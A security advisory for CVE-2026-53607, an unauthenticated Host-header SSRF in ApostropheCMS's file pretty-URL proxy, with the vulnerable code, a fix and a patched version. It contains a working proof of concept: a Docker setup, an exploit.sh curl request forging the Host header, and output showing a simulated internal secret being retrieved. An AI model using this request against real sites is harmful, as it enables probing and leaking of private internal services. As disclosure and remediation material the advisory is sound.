---
id: CVE-2026-53607
aliases:
  - GHSA-34pj-2622-jvxq
title: >-
  @apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host
  header
summary: >-
  @apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host
  header
severity: low
cvss: 3.7
cwe:
  - CWE-918
vendor: apostrophe
product: apostrophe
ecosystem: npm
affected:
  - apostrophe <= 4.30.0
patched:
  - apostrophe 4.31.0
published: '2026-07-31'
updated: '2026-07-31'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-34pj-2622-jvxq'
references:
  - url: >-
      https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-53607'
  - url: 'https://github.com/apostrophecms/apostrophe/pull/5464'
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b
  - url: 'https://github.com/advisories/GHSA-34pj-2622-jvxq'
tags:
  - ghsa
  - npm
epss: 0.00319
epssPercentile: 0.22156
ingestedAt: '2026-07-31T22:04:41.523Z'
---

## Overview

### Summary

When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw `Host` HTTP request header:

```js
proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`
```

That URL is then `fetch`'ed and the response body + headers are streamed
straight back to the requester. Because `Host` is fully attacker-controlled,
an **unauthenticated remote** attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0`
(latest); no fixed release exists.

- **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is
  configured with `prettyUrls: true` and uploadfs is **local** (the default;
  S3/CDN deployments produce an absolute `uglyUrl` and are not affected).

### Details

`modules/@apostrophecms/file/index.js` (excerpt; the public GET route
registered when `prettyUrls: true`):

```js
if (!self.options.prettyUrls) return;
return {
  get: {
    async [`${self.options.prettyUrlDir}/*`](req, res) {
      const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
      if (!matches) return res.status(400).send('invalid');
      const [ , slug ] = matches;
      if (slug.includes('..') || slug.includes('/')) {
        return res.status(403).send('forbidden');
      }
      const file = await self.find(req, {
        slug: `${self.options.slugPrefix}${slug}`
      }).toObject();
      if (!file) return res.status(404).send('not found');

      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
      const proxyUrl = uglyUrl.startsWith('/')
        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink
        : uglyUrl;
      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
    }
  }
};
```

`lib/stream-proxy.js` (excerpt):

```js
module.exports = async function(req, url, { error }) {
  const res = req.res;
  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
  let response;
  try { response = await fetch(url); }       // <-- attacker-steered fetch
  catch (e) { return send502(e); }
  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
    const v = response.headers.get(header);
    if (v != null) res.header(header, v);
  }
  res.status(response.status);
  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};
```

`req.get('host')` returns the unvalidated `Host` HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed `proxyUrl` against an allowlist. The upstream's body and
content-type are forwarded verbatim — so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).

Prerequisites are minimal: `prettyUrls: true` (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).

**Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
`@apostrophecms/file`, via the `Host` header.

### PoC

Three services on an isolated Docker network: `mongo`, `internal` (returns a
fake secret, **never exposed to the host**), `apos:3000` (the only port the
host can reach). The host attacker proves it cannot reach `internal`
directly, then exfiltrates `internal`'s response via one crafted request to
`apos`.

`app.js` (normal apostrophe site, documented option only):

```js
require('apostrophe')({
  shortName: 'apos-ssrf-poc',
  autoBuild: false,
  modules: {
    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)
  }
});
```

`docker-compose.yml`:

```yaml
services:
  mongo: { image: mongo:7, networks: [poc] }
  internal:
    image: python:3.12-slim
    command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
    networks: [poc]
  apos:
    build: .
    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
    depends_on: [mongo, internal]
    ports: ["3000:3000"]
    networks: [poc]
networks: { poc: { driver: bridge } }
```

`exploit.sh` (unauthenticated attacker on the host):

```sh
# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"

# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
```

Build & run:

```sh
docker compose build && docker compose up -d && ./exploit.sh
```

Observed output (`apostrophe@4.30.0`, clean stack):

```
[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL

[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2

RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).
```

The `internal` service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.

### Impact

Unauthenticated remote SSRF, but the path component is constrained to
`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:

- **Cloud metadata is _not_ reachable** — AWS IMDS
  (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure
  (`/metadata/...`) all live at fixed paths that don't overlap with
  `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and
  most internal API surfaces.
- **Cross-instance data exfiltration is also ruled out.** For an
  internal target (another apos instance, MinIO bucket, etc.) to serve
  a body at this path, it would need the exact local cuid + slug, which
  realistically only happens when the target restored / shares the
  public site's data — in which case the same content is reachable via
  the front door anyway. Apostrophe also won't construct a pretty URL
  for archived / restricted media, closing the older-snapshot edge case.

What remains is blind-SSRF residual:

- Network-topology mapping via response-code or response-time
  differences across internal hosts.
- Banner / version disclosure from verbose reverse-proxy or WAF 404
  bodies.
- Bypassing network egress controls — outbound requests originate from
  the apostrophe server rather than the attacker.

The attack requires only the public pretty-URL endpoint and one
publicly-known file slug, both trivially available in normal CMS
operation.

### Recommended fix

Stop deriving the upstream URL from the request `Host` header. Two
complementary changes:

1. In `modules/@apostrophecms/file/index.js` (the lines that build
   `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl`
   or the configured site URL) instead of `req.get('host')`:

   ```js
   const proxyUrl = uglyUrl.startsWith('/')
     ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`
     : uglyUrl;
   ```

2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the
   configured apostrophe base URL + any configured CDN host) before calling
   `fetch`. Defence in depth: future callers of `streamProxy` cannot
   accidentally reintroduce the gap.

A regression test that sets `Host: 169.254.169.254` (or any non-configured
host) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not**
issued / the response is a 4xx would lock this down.

## Affected packages

- `apostrophe <= 4.30.0`

## Remediation

Upgrade to a patched release:

- `apostrophe 4.31.0`
